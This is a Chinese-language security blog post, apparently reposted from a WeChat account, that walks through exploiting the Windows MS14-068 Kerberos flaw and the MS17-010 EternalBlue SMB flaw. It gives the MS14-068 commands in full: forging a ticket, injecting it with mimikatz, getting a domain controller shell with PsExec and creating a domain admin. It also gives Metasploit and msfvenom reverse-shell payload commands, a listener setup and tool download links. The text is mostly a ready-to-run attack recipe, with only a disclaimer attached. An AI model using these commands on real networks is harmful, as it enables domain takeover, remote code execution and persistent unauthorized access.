MS14-068与MS17010漏洞利用

admin 2023年12月9日01:38:58评论40 views字数 4156阅读13分51秒阅读模式

 Part1 前言 

大家好,我是影流团队的WuWuWu。在内网经常见到windows漏洞。给大家带来Windows的MS14-068  MS17010漏洞利用


 Part2 MS14-068

概述:

PAC 是用来验证 Client 的访问权限的,它会被TGT 里发送给 Client,然后由 Client 发送给 TGS。但也恰恰是这个 PAC 造成了 MS14-068 这个漏洞。
该漏洞是位于 kdcsvc.dll 域控制器的密钥分发中心(KDC)服务中的 Windows 漏洞,它允许经过身份验证的用户在其获得的票证 TGT 中插入任意的 PAC 。普通用户可以通过呈现具有改变了 PAC 的 TGT 来伪造票据获得管理员权限。

影响范围:

Windows Server 2003
Windows Server 2008
Windows Server 2012

利用条件:

服务器未打KB3011780补丁  
域普通用户的账号密码     
域普通用户的sid

利用过程:

net config workstation          #查看登录用户是否在域中
net user hahaha /domain 
nltest /dsgetdc:                #查看域控主机信息
net group “domain controllers” /domain
systeminfo|find "KB3011780"     #查看服务器未打KB3011780补丁
whoami /all                     #获取域普通用户sid
whoami -user                    #获取域普通用户sid
ms14-068.exe -u 域用户名@域名 -p 域用户密码 -s 域用户sid -d 域控制器地址          #伪造票据,生成票据文件
eg:ms14-068.exe -u [email protected] -p hahaha123 -s S-1-5-21-206994146-1430261261-3117932469-1001 -d dc.god.com  
下载链接:https://github.com/ianxtianxt/MS14-068
kerberos::purge                     #使用mimikatz清除旧凭证
klist                                   #查看票据
kerberos::ptc  /生成的票据地址            #注入伪造的票据
klist                                   #查看票据是否注入成功
dir \dc.god.com c$                    #尝试连接域控
PsExec64.exe /accepteula /s \dc.god.com  cmd    #反弹域控shell
net user hahaha 123.Com /add /domain               #创建域管理员
net group “Domain admins” hahaha /add  /domain



 Part3 MS-17010

概述:
永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。

影响范围:

Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607; Windows Server 2016

利用条件:

winxp特别补丁KB4012598
winxp3 32位 Security Update for Windows XP SP3 (KB4012598)
winxp2 64位 Security Update for Windows XP SP2 for x64-based Systems (KB4012598)

win2003特别补丁KB4012598
2003SP2 32位 Security Update for Windows Server 2003 (KB4012598)
2003SP2 64位 Security Update for Windows Server 2003 for x64-based Systems (KB4012598)

win2008R2补丁 KB4012212、KB4012215
March, 2017 Security Only Quality Update for Windows Server 2008 R2 for x64-based Systems (KB4012212)
March, 2017 Security Monthly Quality Rollup for Windows Server 2008 R2 for x64-based Systems (KB4012215)

win7补丁 KB4012212、KB4012215
win7 32位
March, 2017 Security Only Quality Update for Windows 7 (KB4012212)
March, 2017 Security Monthly Quality Rollup for Windows 7 (KB4012215)
win7 64位
March, 2017 Security Only Quality Update for Windows 7 for x64-based Systems (KB4012212)
March, 2017 Security Monthly Quality Rollup for Windows 7 for x64-based Systems (KB4012215)

win10 1607补丁 KB4013429
win10 1607 32位
Cumulative Update for Windows 10 Version 1607 (KB4013429)
win10 1607 64位
Cumulative Update for Windows 10 Version 1607 for x64-based Systems (KB4013429)

win2012R2补丁 KB4012213、KB4012216
March, 2017 Security Only Quality Update for Windows Server 2012 R2 (KB4012213)
March, 2017 Security Monthly Quality Rollup for Windows Server 2012 R2 (KB4012216)

win2016补丁 KB4013429
Cumulative Update for Windows Server 2016 for x64-based Systems (KB4013429)

检测

https://github.com/worawit/MS17-010
eg:python2 checker.py 192.168.1.1

网安永恒之蓝检测工具

msf
ladon
fscan
方程式工具

利用

方法1:
search ms17-010
exploit/windows/smb/ms17_010_eternalblue #攻击
exploit/windows/smb/ms17_010_psexec  #攻击
auxiliary/admin/smb/ms17_010_command #检测
auxiliary/scanner/smb/smb_ms17_010  #检测
use  exploit/windows/smb/ms17_010_eternalblue #使用第一个模块
set rhosts 
set payload windows/x64/meterpreter/reverse_tcp  #可以使用show payloads查看其他payload
set RHOST 192.168.1.2(靶机)
set LHOST 192.168.1.1(攻击机)
set LPORT 4444
run             #开始攻击
方法2:
1.生成shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1234 -f raw > shellcode   
2.msf开启监听
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.1.1; set lport 1234; exploit - j; "
3.执行脚本加载shellcode
python3 ms17-010.py --host 192.168.1.2 --file shellcode
方法3:
1.生成dall
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=1234 -f dll >win64.dll
2.msf 设置监听
exploit/multi/handler
3.使用方程式工具覆盖dll文件  https://pan.lanzoui.com/i0ghdhi
4,在msf上线

 Part4 END

文章中如果有错误,欢迎批评指正。

免责声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者及公众号不为此承担任何责任。


原文始发于微信公众号(影流R):MS14-068与MS17010漏洞利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月9日01:38:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MS14-068与MS17010漏洞利用http://cn-sec.com/archives/2280623.html

发表评论

匿名网友 填写信息